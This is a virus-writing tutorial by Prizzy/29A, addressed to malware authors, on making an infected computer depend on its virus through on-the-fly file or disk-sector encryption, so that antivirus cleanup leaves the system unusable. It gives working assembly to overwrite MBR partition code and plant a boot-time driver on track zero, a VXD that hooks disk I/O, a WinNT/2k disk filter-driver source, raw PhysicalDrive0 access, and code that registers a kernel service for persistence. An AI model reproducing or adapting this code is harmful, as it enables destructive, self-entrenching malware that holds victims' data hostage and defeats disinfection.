ÉÄÄÍ[ How to make infected system to depend on the virus ]ÍÄÄ» º ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ º ÈÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍÍ[ by Prizzy/29A ]ÍÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍͼ This article is intended for vx authors who want to equip their viruses the method whereby the infected computer will be dependent on the virus. In this case If an antivirus cleaned all infected files, the computer would be inaccessible. And as we can assume no antivirus won't disinfect files by special method. Index ÄÄÄÄÄ 1. The methods of the system's subjection 2. Files Encryption 2.1. Substandard File Access 3. Disk Encryption 3.1. Big Three in Action 3.2. DOS Driver 3.3. Win95/98/ME Driver 3.3.1. Loading the driver 3.3.2. What's inside? 3.3.3. How to load DOS driver 3.3.4. Dynamic Loading 3.4. WinNT/2k Driver 3.4.1. How to compile the driver 3.4.2. Driver Source 3.4.3. Disk Operations 3.4.4. How to load DOS & VXD driver 3.4.5. Driver loading 3.5. Debugging Drivers 4. Conclusion 1. The methods of the system's subjection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To this day I know only two excelent ways how to reach it. They are based on the real-time encryption of the disk or of the files. Both methods need in order that the virus will be active to decode the encrypted data. 2. Files Encryption ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It doesn't give to the virus full control under the computer. Even this method is somehow limited. Every, for example, opening request from system goes through the virus and it will do: þ encrypt, let's say, of the first 2kb of the file þ on every reading request the virus will decrypt those 2kb of the file þ on the close request the viruss will encrypt back those 2kb This method is realized in Win32.Crypto virus. 2.1. Substandard file access ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In Win32 exist two ways how to access to the files, by default through API functions or through drivers (VXD in Win9x and SYS in WinNT/2k). The best way is choose one between them. Imagine in Win9x two programs can open the file both in ring0 and in ring3; and even if you coded VXD driver for ring0 section you wouldn't hook all file accesses, I tested it. Almost one year ago I occur to exploit ring3's LoadLibrary API function and encrypt only DLL files (because ring0 has own VMM function for DLL loading). þ hook LoadLibrary/FreeLibrary API functions in KERNEL32.DLL þ with every FreeLibrary API request encrypt the library þ on LoadLibrary API request decrypt the library This method has some code disadvantages: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ þ In fact, KERNEL32.DLL file is only library and so it demands other infection than EXE files. Your virus also must supports special algorithm for KERNEL32 infection, you can't infect this file when it is opened and when Windows is running you can't write to this file (to know more read one tutorial by LordJulus in VxTaxy e-zine). þ You can't encrypt all DLL files because you must wait than your virus will be active (till then when KERNEL32.DLL won't be loaded). The files cannot be ancrypted are: USER32.DLL, ADVAPI32.DLL, PSTOREC.DLL and many more about 15 static names and the libraries rather from: HKLM\System\CurrentControlSet\Control\SessionManager\KnownDLLs HKLM\System\CurrentControlSet\Control\SessionManager\Known16DLLs þ If the user is disinfect himself all files, let's say all DLLs files, after clearing he will be able to get to the OS but not to Windows. He mus re-install all Windows applications, MS-Office, Corel, Acad... 3. Disk Encryption ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It generally means a virus can gradually encrypt some parts of the disk, usually it isn't good encrypt whole disk's data but just only some sections (for example every tenth cluster etc). Thereby we reach of that, the user won't recognize any slowing down of his system. I'd say this way is programly more difficult than files encryption (mainly virus testing). This method can be realize by drivers (for full Win32 system) or with the virus without any drivers (only for WinNT and Win2000 system). 3.1. Big Three in Action ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To monitor all users' operations, at best, there must exist three drivers. The DOS driver, VXD driver and SYS driver. þ If it is Win95/98 virus it must carry DOS driver because the user do- esn't need load Windows he can stay in pure DOS. þ The virus for WinNT/2000 and WinME don't need have DOS driver. The very interesting situation comes if the user has multi OS, let's say Win9x and WinNT (more datails below). How to check whether it's WinME or WinNT? The best way is analyze \BOOT.INI file and get Windows' directories, then compare dir structure and decide if it's WinME or WinNT/2k. 3.2. DOS Driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I say that again DOS driver must be especially for Win95/98. The best way how to load this driver is from Master Boot Record therewith that driver's body will be store on the zero track. The best is it isn't easy to write something to the MBR from Win9x and WinNT/2k OS, to this theme see in chapters devoted below to these OS. How to write driver behind MBR: þ read Partition Table to the own buffer þ check if the driver isn't there yet þ find free space in the zero track (because of EZ-DRIVE etc) ; get disk's information mov ah,8 int 13h and cx,3Fh ;sectors per track push cx mov cx,2 read:mov ax,201h ;read one sector mov bx,offset buffer mov dx,80h ;1st drive int 13h cmp word ptr es:[bx+3],'BA' ;active mark jz found ;== the driver is loaded sub ax,ax push cx mov cx,256 ;search if this sector is mov di,bx ;free for our dr.'s body rep scasw test cx,cx ;is free? pop cx jz found next_s:inc cx ;go on next sector pop dx push dx cmp cx,dx ;end of the track? jnz read pop cx ;yes, set the middle of shr cx,1 ;the track found:mov cs:[dest_sector],cl ;our future sectror number þ write the driver on the zero track, on the found place þ copy new partition code to the current one, this new code must load our driver to the memory and then run its. ; new partition code jmp short $+4 ;go over signature db "AB" ;means the driver is here cli ;set the stack frame xor ax,ax mov ss,ax mov sp,7C00h sti cld ;load the driver to the mov ax,200h ;memory org $-2 db driver_size/512+1, 2 mov cx,0 ;the sector where the driver dest_sector equ $-2 ;is stored mov dx,80h ;1st drive push 5000h ;new memory location pop es xor bx,bx ;zero offset int 13h seges ;run on the driver, set db 0EA ;IP=100h and CS-10h dw 100h+__driver_start dw 5000h-10h þ driver 'll immediately restore the old partition code from the buffer, the destination offset is 0:7C00. þ hook 0x13 service and then go back 3.3. Win95/98 Driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To hook requests by this OS you must code a VXD driver. Now in this chap- ter I will show you it won't any problem for you, vxer. At the beginning you should have some programmers needs: þ visit "http://win32asm.cjb.net" and download Iczelion's VXD tutorials; here you'll find information about VXD LE driver structure, its load- ing, calling VMM functions etc. I expect your knowledge of this tut. þ also without Microsoft Device Development Kit for Win98 "DDK98" it won't go, visit:"http://www.microsoft.com/hwdev/ddk/install98ddk.htm?" and download it. Here you will find all about VXD driver all VMM func- tion descriptions and tips. 3.3.1. Loading of the driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ There are two types of VXD under Win9x: þ Static VXD þ Dynamic VXD The first one are loaded during system bootup and stay loaded until the system shutdown. Dynamic VXD can be loaded/unloaded when needed. The best way how to load static VXD is copy its to the SYSTEM\IOSUBSYS di- rectory and after next restart Windows will automatically upload registers itself. If you want to load VXD immediately you must call following code: push 0 ;no template file push FILE_FLAG_DELETE_ON_CLOSE push 0 0 0 0 push offset VxDName ;the name of the driver call CreateFileA cmp eax,-1 jz error mov hVxD,eax ;handle of the driver push 0 0 0 0 0 NULL 1 push hVxD call DeviceIoControl ;active VXD driver ... VxDName db "\\.\driver.vxd",0 hVxD dd ? 3.3.2. What's inside? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Our final VXD driver couldn't be too complex, we will hook only one VMM service, no special calling we shouldn't use. .386p include vmm.inc include vwin32.inc DECLARE_VIRTUAL_DEVICE DRIVER,1,0, DRIVER_Control,\ UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER Begin_control_dispatch DRIVER Control_Dispatch Device_Init, OnDeviceIoControl End_control_dispatch DRIVER ; start of the driver VxD_Locked_Code_Seg ;LE segment BeginProc OnDeviceIoControl ;here VXD is starting... mov eax,100004h ;IOS_SendCommand mov esi,offset SC_Hook ;address of the hooked function VMMCall Hook_Device_Service ;hook that service mov [sc_orig_func],esi ;original hooked address xor eax,eax ;no error ret EndProc OnDeviceIoControl That's all for now. Just we hooked one VMM function: IOS_SendCommand, in SC_Hook function we will catch all system access through ring0. BeginProc SC_Hook ; this service has the same params like IOS_SendCommand func. ; esi ... IOR structure \ more in DDK 98 ; edi ... DCB structure / pusha cmp byte ptr [sc_already_inside],0 ;re-call ? jnz sc_exit mov byte ptr [sc_already_inside],1 mov [sc_ior_address],esi ;save IOR structure address ; in AL will be a drive letter from where the request comes mov al,byte ptr [esi].IOR_vol_designtr cmp al,2 jb sc_finish ;A,B drives ? mov [sc_drive_letter],al ;save it, bcos of multi-disks ; get the called reason: reading, writting, verifying... mov ax,word ptr [esi].IOR_func ... ; get started address in sectors mov eax,[esi].IOR_start_addr ... checking if this value is in the encrypted area ; get output buffer mov eax,[esi].IOR_buffer_ptr test [esi].IOR_Flags,IORF_SCATTER_GATHER ; if this flag is set the output address is given like SGD jz sc_physical mov eax,[eax+4] ;get real output address sc_physical: mov [sc_output_buf],eax ; own algorithm ... ... There're two ways of rerturning to the host either returning status code or by callbacks. I remember when I was coding VXD driver I had some problems with callbacks so I will do the best you wouldn't stay in dark. ; go to the original function jmp [sc_orig_func] ;call IOS_SendCommand OR ; set the callback mov esi,[sc_ior_address] ;get IOR structure address mov eax,[esi].IOR_callback ;get old callback address mov [esi].IOR_callback,offset sc_callback mov [sc_old_callback],eax popa jmp [sc_orig_funct] ;call IOS_SendCommand sc_callback: pusha ... popa cmp [sc_old_callback],0 ;is there any old cback. ? jz sc_wn_exit_ret jmp [sc_old_callback] ;yeah, jump there sc_wn_exit_ret: ret ;no callback 3.3.3. How to load DOS driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Again we have two solutions how to write a code on the zero track. þ using 0x13 service: it's the easiest way but I'd never used it because many eyes can watch you, even i know one case when calling 0x13 was disabled. þ using your VXD driver: just you will a instigation to the driver and it will write instead you: if the driver is initialized, it will check partition code and accordingly it act on itself. The main problem is we cant load the driver the same methods like in Win9x because WinNT/2k don't support 0x13 service. So if the virus is both for Win9x and for WinNT/2k, is better when the DOS driver will be loaded rather from WinNT/2k because from Win9x isn't easy to load WinNT/2k driver than from WinNT/2k to load VXD driver. I'd recommend for this situation to spread virus itself on Win9x/ME platform and it don't load any drivers here as long as the user won't run an infected file from WinNT/2k. 3.4. WinNT/2k driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This'll be the very interesting chapter because I don't have any books to help me, no tutorials I have, it goes from my own experience. Anyway you will have to download Microsoft Device Development Kit for Win2000/ME from the MS web site (it has something about 65Mb). 3.4.1. How to compile the driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ After installing DDK2k/Me you will get some their tools and subsequently you can adjust your MS Visual C++ setting to code it from this pleasure environment, or the 2nd side is go to DOS and create these files: SOURCES. ;create this file TARGETNAME=DRIVER ;the name of the driver TARGETPATH=c:\my_work\virus ;driver's directory TARGETTYPE=DRIVER ;type LINKER_FLAGS=-MAP ;some parameters for linking INCLUDES=C:\NT\INC ;where you have INC files, re- ;commend use VC++ INC directory SOURCES=driver.c ;the name of the driver's file To compile the driver write: BUILD.EXE -w -b 3.4.2. Driver Source ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ All comments to the driver will be dip into the source. #include #include "driver.h" // The name of the driver which we will hook, in SoftICE you can // write "DEVICE" or "DRIVER" to look at those. Mark "%d" means the // number of physical disk device (0 = C: drive) #define DiskDeviceName "\\Device\\HardDisk%d" #ifdef ALLOC_PRAGMA #pragma alloc_text(INIT,DriverEntry) #endif // After initialization WinNT/2k call as the first this function. NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { // devExt is the shared structure for all driver's parts PDEVICE_EXTENSION devExt; // new hooked device object PDEVICE_OBJECT hookDevice; UNICODE_STRING unicodeDiskName; ANSI_STRING DiskNameA; NTSTATUS status; UCHAR DiskName[200]; ULONG i; // For now we don't have selected any callbacks for (i=0; i<=IRP_MJ_MAXIMUM_FUNCTION; i++) DriverObject->MajorFunction[i] = Dispatch; // If the system send any read/write/... request we can set some // routine which will catch this. DriverObject->MajorFunction[IRP_MJ_READ] = Read; DriverObject->MajorFunction[IRP_MJ_WRITE] = Write; // Create new device object. status = IoCreateDevice(DriverObject, sizeof(DEVICE_EXTENSION), 0, FILE_DEVICE_DISK, 0, FALSE, &hookDevice); if (!NT_SUCCESS(status)) return STATUS_SUCCESS; devExt = hookDevice->DeviceExtension; devExt->DeviceObject=hookDevice; devExt->DriverObject=DriverObject; // Get unicode device name. sprintf(DiskName, DiskDeviceName, 0); RtlInitAnsiString(&DiskNameA, DiskName); RtlAnsiStringToUnicodeString(&unicodeDiskName,&DiskNameA,TRUE); // There are two typed of getting information: buffered or di- // IO. Buffered IO are used for device which can wait, for exam- // ple keyboards, mouses etc. Direct IO are for disk device, // floppy device, CD-ROM and so on. hookDevice->Flags |= DO_DIRECT_IO; hookDevice->Flags &= ~DO_DEVICE_INITIALIZING; // Hook the device. status = IoAttachDevice(hookDevice, &unicodeDiskName, &devExt->attachedDevice); if (!NT_SUCCESS(status)) return STATUS_SUCCESS; return STATUS_SUCCESS; } NTSTATUS Dispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension; // We won't do any operations, set the next lower driver. Irp->CurrentLocation++; Irp->Tail.Overlay.CurrentStackLocation++; return IoCallDriver(devExt->attachedDevice, Irp); } NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION currentIrpStack; PIO_STACK_LOCATION nextIrpStack; PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension; IO_STATUS_BLOCK IoStatus; // Get the current input parameters. currentIrpStack = IoGetCurrentIrpStackLocation(Irp); // Get IRP parameters // ... how many bytes the system wants to read devExt->Length = currentIrpStack->Parameters.Read.Length: devExt->howMany = devExt->Length / 512; // ... where is starting offset of the request ? devExt->Offset = currentIrpStack-> Parameters.Read.ByteOffset.LowPart: // ... get the output buffer devExt->buffer = MmGetSystemAddressForMdl(Irp->MdlAddress); // Now check the range of encryption and find out if you must // decode read request or not. ... Now we have two ways go back, normal through return value or we can use callback. // Normal returning way (set next lower driver) Irp->CurrentLocation++; Irp->Tail.Overlay.CurrentStackLocation++; return IoCallDriver(devExt->attachedDevice, Irp); OR // Set the callback // Copy next current stack to the lower one. currentIrpStack = IoGetCurrentIrpStackLocation(Irp); nextIrpStack = IoGetNextIrpStackLocation(Irp); *nextIrpStack = *currentIrpStack; IoSetCompletionRoutine(Irp, DiskReadCompletion, DeviceObject, TRUE, TRUE, TRUE); What's inside callback? NTSTATUS DiskReadNoCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context) { PIO_STACK_LOCATION IrpSp; PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension; // Get current Irp stack == input parameters IrpSp = IoGetCurrentIrpStackLocation(Irp); // If the operation was successful... if (NT_SUCCESS(Irp->IoStatus.Status)) { // Check Irp parameters (see above) ... } // Mark the Irp pending if required if (Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } Also highly recommend to read DDK2k about the drivers. 3.4.3. Disk Operations ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To call all disk operations like reading, writing, verifying you must you these functions: þ IoBuildSynchronousFsdRequest : can be used only during starting of the driver because here we can wait for other thread yet. NTSTATUS DiskLoadMBRSector(IN PDEVICE_OBJECT DeviceObject) { PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension; IO_STATUS_BLOCK IoStatus; LARGE_INTEGER offset; NTSTATUS status; KEVENT event; PIRP localIrp; // Set BootSector's starting offset offset.HighPart = offset.LowPart = 0; // Initilize event for synchronous equest. KeInitializeEvent(&event, NotificationEvent, FALSE); // Build Irp request. localIrp = IoBuildSynchronousFsdRequest( IRP_MJ_READ, devExt->attachedDevice, (void*)devExt->MBRSector, 512, &offset, &event, &IoStatus); if (localIrp == NULL) return STATUS_UNSUCCESSFUL; if (IoCallDriver(devExt->attachedDevice, localIrp) == STATUS_PENDING) KeWaitForSingleObject(&event, Suspended, KernelMode, FALSE, NULL); return NT_SUCCESS(IoStatus.Status); } þ IoBuildAsynchronousFsdRequest: used only in Dispatch routines. ... offset.HighPart = offset.LowPart = 0; // Build asynchronous Irp request localIrp = IoBuildAsynchronousFsdRequest( IRP_MJ_READ, devExt->attachedDevice, (void*)devExt->MBRSector, 512, &offset, NULL); if (!localIrp) return STATUS_UNSUCCESSFUL; // Set completion routine to validate finishing request. IoSetCompletionRoutine( localIrp, DiskLoadMBRSectorCompletion, DeviceObject, TRUE, TRUE, TRUE); // Set an event. KeInitializeEvent(&event, NotificationEvent, FALSE); status = IoCallDriver(devExt->attachedDevice, localIrp); // Set Irp stack frame to the next loweer one. localIrp->CurrentLocation--; localIrp->Tail.Overlay.CurrentStackLocation = IoGetNextIrpStackLocation(localIrp); // Now we will wait 100ms than IoCallDriver will return // STATUS_PENDING value. If you get this value, device hasn't // finished the request yet. This method is my own I haven't // think up any new one. Also I spoke with some developers and // they haven't used this yet. offset.LowPart=100; if (status == STATUS_PENDING) KeWaitForSingleObject(&event, Executive, KernelMode, FALSE, &offset); return localIrp->IoStatus.Status; 3.4.4. How to load DOS & VXD driver ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ At first I'd like to take to parts the DOS driver problem. There are exist two ways how something write to the zero track. þ To use standard device: works only when the user has admin rights // Open the device representing the first hard disk. This // call will fail if the user doesn't have sufficient rights hPhysicalDrive = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if (hPhysicalDrive != INVALID_HANDLE_VALUE) { MBR data; DWORD dwBytesRead; // Read sector 0 off of the drive... ReadFile(hPhysicalDrive, &data, 512, &dwBytesRead, NULL); ... // Close the driver CloseHandle(hPhysicalDrive); } þ To use driver: you can dynamic load the driver (more below) and it'll use IoBuildSynchronousFsdRequest to read/write it. This manner is bet- ter because you can't know if the user is an administartor. So, we successfuly loaded the DOS driver and now we must do the same for VXD driver. This is easier but we must know if the user 's Win95/98 system or not. We have two ways to find it out: þ Compare typical Win9x directories, like: C:\Windows, C:\Win95 or Win98 etc... þ Create a thread which will search the disk step by step. 3.4.5. Driver loading ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I am tired of the repetition "there're two ways how to..." all the time of this tutorial but it's true. þ Update registers: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VX where VX is the name of your directory in regs; so, create these lines there: "ImageePath" ,REG_EXPAND_SZ,"Systeem32\DRIVERS\driver.sys" "Description" ,REG_SZ ,"The virus NT/2k driver." "DisplayName" ,REG_SZ ,"VX_SYS" "ErrorControl",REG_DWORD ,1 "Start" ,REG_DWORD ,1 ;boot loading "Type" ,REG_DWORD ,1 ;kernel driver So, after rebooting your driver will be loaded itself. þ Dynamic loading: This method automatically updates registers. .386 .model flat,stdcall includelib c:\...\advapi32.lib extrn OpenSCManagerA:proc extrn CreateServiceA:proc extrn GetCurrentDirectoryA:proc extrn lstrcat:proc extrn CloseServiceHandle:proc extrn StartServiceA:proc extrn DeleteService:proc .data SC_MANAGER_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR 03FH SERVICE_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR 1FFH SERVICE_KERNEL_DRIVER EQU 001H SERVICE_DEMAND_START EQU 003H SERVICE_ERROR_NORMAL EQU 001H SERVICE_CONTROL_STOP EQU 001H DosDeviceName db "\\.\" DriverName db "driver.sys",0 _ServiceExe db "\driver.sys",0 .data? schSCManager dd ? schService dd ? path db 260 dup(?) .code start: ; get actual directory + the name of the driver push 260 offset path call GetCurrentDirectoryA push offset path push offset _ServiceExe call lstrcat ; load the driver xor esi,esi push esi esi SC_MANAGER_ALL_ACCESS call OpenSCManagerA mov schSCManager,eax xor eax,esi jz __failed push schSCManager push offset DriverName offset DriverName push SERVICE_ALL_ACCESS SERVICE_KERNEL_DRIVER \ SERVICE_DEMAND_START SERVICE_ERROR_NORMAL push offset path push esi esi esi esi esi call CreateServiceA mov [schService],eax xor eax,esi jz __close_SCM push eax esi esi call StartServiceA ... push 0 call ExitProcess end start 3.5. Debugging Drivers ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ For all vxers will be better use SoftICE, there is one my special advice for you: þ there, where you want to place a brekpoint, write: "__asm int 4" (C++ mode) or "int 4" (ASM mode) þ jump to SoftICE and write "bpint 4" þ run dynamicaly the driver þ SoftICE will stop the driver þ replace "int 4" instruction, with: "a (enter) nop (enter) nop (enter)" and if you want to SoftIce stop there in next time, write: "bpxeip" Some rich vxers who have two computers can use the 2nd one like a debugger, the exact instruction is in DDK 2k. You will need create only a serial cabel (show us your electrotechnic knowledge!). 4. Conclusion ÄÄÄÄÄÄÄÄÄÄÄÄÄ If I had possibility to write a virus sometimes in future, surely I would choose this method like 100%-ly attack againt antiviruses. For some vxers it can be hard to code but mainly "Files Encryption" would be easy to rea- lize. In fine I wish you could instead all anti-* technics to use one qui- te certain way leading to the antiviruses paralysis. 25th-26th November 2000, the Czech Republic Prizzy/29A